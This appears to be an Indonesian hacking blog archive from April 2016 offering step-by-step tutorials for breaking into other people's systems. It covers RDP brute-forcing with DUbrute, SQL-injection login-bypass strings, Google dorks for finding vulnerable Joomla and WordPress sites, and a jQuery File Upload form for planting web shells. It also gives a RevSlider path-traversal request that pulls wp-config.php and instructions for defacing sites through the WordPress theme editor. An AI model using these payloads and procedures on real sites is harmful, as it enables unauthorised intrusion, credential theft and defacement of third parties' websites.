Saturday, 30 April 2016
Thursday, 28 April 2016
hack vps/rdp
bahan-bahan
# KPortScan-3.0
#DUbrute 2.1
1.pilih negara => star
2.klik generator masukan ip,user dan password =>hide => oke => exit
3.klik config isi data
4.klik star
5.goog vps/rdp suksesv dapat user dan password

6.star => remote desktop =>masukan ip =>conec
7.masukan ip dan user => okey
Exploit bypass admin login on script
--
DORK : "Powered by Across the Street.site:,fr
admin URL /admin/ :D
URL SHELL admin/gallery_image/
user dan password
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
1masukan dork
2.login http://target.com/admin
3.masukan user :admin' or '1'='1 password :admin' or '1'='1
4.pilih galery image
5.silakan isi data dan uplod shell
6.exploit http://target.com/admin/gallery_image/
7.cari shell ada tinggal klik saja kalau berhasil shell akan tampil
DORK : "Powered by Across the Street.site:,fr
admin URL /admin/ :D
URL SHELL admin/gallery_image/
user dan password
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
1masukan dork

3.masukan user :admin' or '1'='1 password :admin' or '1'='1

5.silakan isi data dan uplod shell
6.exploit http://target.com/admin/gallery_image/

Joomla Auto Shell + Scanner
dork = com_articlemanager
Joomla Dork's
1. "index.phpoption=com_aardvertiser"
2. "index.phpoption=com_akobook"
3. "index.phpoption=com_abbrev"
4. "index.phpoption=com_gk3_photoslide"
5. "index.phpoption=com_abc"
6. "index.phpoption=com_aclassf"
7. "index.phpoption=com_acprojects"
8. "index.phpoption=com_acstartseite"
9. "index.phpoption=com_acteammember"
10. "index.phpoption=com_actions"
11. "index.phpoption=com_acymailing"
12. "index.phpoption=com_addressbook"
donwlod
1.file di extra di folder C (ACTIV PERL)
ketik- cd/
- cd Perl
- scan.pl
2.ketik:Exploit.pl KkK.txt
3.lihat hasilnya
Joomla SQL Injection Exploit 2016
bahan-bahan
activ perl
scrip joomla donwlod
file di extra di polder C
1.buka cmd
2.ketik cd/ =>dir
3.ketik joomla.pl
4.masukan web
5.selesai tinggal password di has saja
activ perl
scrip joomla donwlod
file di extra di polder C
1.buka cmd
2.ketik cd/ =>dir
3.ketik joomla.pl
4.masukan web
5.selesai tinggal password di has saja
Monday, 25 April 2016
exploit jquery file upload vulnerability
cara exploit jquery file upload vulnerability dengan mudah.silakan gunakan dork di bawah ini atau bisa kembangakan sendiri
Dork : /assets/global/plugins/jquery-file-upload/site:,com

kalau sudah dapat tinggal di exploit saja
Exploit : http://localhost/assets/global/plugins/jquery-file-upload/server/php/
Exploit : http://localhost/assets/global/plugins/jquery-file-upload/server/php/
<form method="POST" action="http://target.com/assets/global/plugins/jquery-file-upload/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>masukan domain target seve as format html
tinggal uplod shell
nanti akan menampilakan
tinggal tambahin saja /files/nama.php
http://assets/global/plugins/jquery-file-upload/server/php/files/namashell.php
Saturday, 23 April 2016
hack wordpress dengan revslider
totorial hack wordprees menggunkan trik exploit.pertama-tama siapkan dorknya bisa pakai
di dork di bawah ini tinggal di kembangkan saja
dork:
inurl:wp-content
inurl:wp-content/themes/
inurl:wp-content inurl:revslider
inurl:wp-content intext:revslider.php
inurl:wp-content intext:revslider_front.php
inurl:wp-content intext:revslider.php site:il
themes/WP-Smartcheck
themes/stendhal
theme/templates/sliders
themes/RoyalOak
themes/celestino2
plugins/dnd-shortcodes
themes/incrediblewp
themes/celestino
#buat exploit#
/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
1.masukan dorknya
2.target web
3.di exploit=>donwlod
4.cari user dan password
5.login
6.klo sucses tinggal tanam shell dan tebas index bisa langsung klik di sini
di dork di bawah ini tinggal di kembangkan saja
dork:
inurl:wp-content
inurl:wp-content/themes/
inurl:wp-content inurl:revslider
inurl:wp-content intext:revslider.php
inurl:wp-content intext:revslider_front.php
inurl:wp-content intext:revslider.php site:il
themes/WP-Smartcheck
themes/stendhal
theme/templates/sliders
themes/RoyalOak
themes/celestino2
plugins/dnd-shortcodes
themes/incrediblewp
themes/celestino
#buat exploit#
/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
1.masukan dorknya
2.target web
3.di exploit=>donwlod
4.cari user dan password
5.login
6.klo sucses tinggal tanam shell dan tebas index bisa langsung klik di sini
Cara hack Wi-Fi WPA2-PSK
cara akan memberikan trik cara menghack wifi dengan mudah dengan menggunakan agry.silakan donlod dulu aplikasi agry di bawah ini
1.donwlod disini
2.login
3.masukan saja user:admin password :admin
4.sucses,terserah mau di apain
5.sekian saja dari saya.terimah kasih
cara tanam shell dan tebas index di wordpress
cara menanam shell dan tebas index di web wordpress.siapan donwlod shell di bawah ini
1.shell tampah login donwlod

2.klik Appearance => editor
3.pilih thema => klik 404 Template =>scrip hapus ganti dengan shell =>update file
3.sucses uplod tinggal di ubah
http://target.com/wp-admin/theme-editor.php?file=404.php&theme=twentyfourteen&scrollto=746
menjadi http://target.com/wp-content/themes/twentyfourteen/404.php
5.scrip ganti dengan scrip deface
6.sucses











































